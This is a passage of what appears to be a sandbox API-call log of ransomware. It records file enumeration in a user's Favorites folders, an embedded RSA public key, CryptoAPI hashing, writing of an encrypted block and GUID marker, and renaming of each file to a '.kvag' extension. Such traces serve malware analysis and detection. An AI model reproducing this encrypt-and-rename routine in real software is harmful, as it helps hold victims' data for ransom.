(lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.649] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.649] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607e88) returned 1 [0120.650] CryptCreateHash (in: hProv=0x3607e88, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0120.650] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0120.650] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0120.650] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0120.650] CryptDestroyHash (hHash=0x6183888) returned 1 [0120.650] CryptReleaseContext (hProv=0x3607e88, dwFlags=0x0) returned 1 [0120.650] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0120.650] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0120.651] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0120.651] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67743c8 [0120.651] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x86, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.651] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0120.651] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.651] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0120.651] CloseHandle (hObject=0x61c) returned 1 [0120.652] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft store.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft store.url.kvag")) returned 1 [0120.653] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Store.url", cAlternateFileName="MICROS~1.URL")) returned 0 [0120.653] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0120.653] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0120.653] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0120.653] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\") returned="MSN Websites\\" [0120.653] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0120.654] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0120.654] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0120.654] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0120.654] PathFindFileNameW (pszPath="") returned="" [0120.654] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0120.654] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0120.655] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Autos.url", cAlternateFileName="MSNAUT~1.URL")) returned 1 [0120.655] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url") returned=".url" [0120.655] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn autos.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0120.655] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=133) returned 1 [0120.655] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0120.657] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.657] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0120.658] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x85, lpOverlapped=0x0) returned 1 [0120.658] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.658] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.658] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.658] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607be0) returned 1 [0120.659] CryptCreateHash (in: hProv=0x3607be0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0120.659] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0120.659] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0120.659] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0120.659] CryptDestroyHash (hHash=0x6183888) returned 1 [0120.659] CryptReleaseContext (hProv=0x3607be0, dwFlags=0x0) returned 1 [0120.659] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0120.659] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0120.659] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0120.659] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67743c8 [0120.659] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.659] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0120.660] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.660] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0120.660] CloseHandle (hObject=0x61c) returned 1 [0120.662] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn autos.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn autos.url.kvag")) returned 1 [0120.663] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Entertainment.url", cAlternateFileName="MSNENT~1.URL")) returned 1 [0120.663] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url") returned=".url" [0120.663] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn entertainment.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0120.664] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=133) returned 1 [0120.664] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0120.666] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.666] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0120.667] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x85, lpOverlapped=0x0) returned 1 [0120.667] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.667] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.667] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.667] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607be0) returned 1 [0120.668] CryptCreateHash (in: hProv=0x3607be0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0120.668] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0120.668] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0120.668] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0120.668] CryptDestroyHash (hHash=0x6183888) returned 1 [0120.668] CryptReleaseContext (hProv=0x3607be0, dwFlags=0x0) returned 1 [0120.668] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0120.668] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0120.668] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0120.668] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67743c8 [0120.669] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.669] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0120.669] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.669] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0120.669] CloseHandle (hObject=0x61c) returned 1 [0120.671] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn entertainment.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn entertainment.url.kvag")) returned 1 [0120.672] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Money.url", cAlternateFileName="MSNMON~1.URL")) returned 1 [0120.672] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url") returned=".url" [0120.672] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn money.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0120.673] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=133) returned 1 [0120.673] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0120.675] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.675] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0120.676] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x85, lpOverlapped=0x0) returned 1 [0120.676] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.676] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.676] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.676] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: 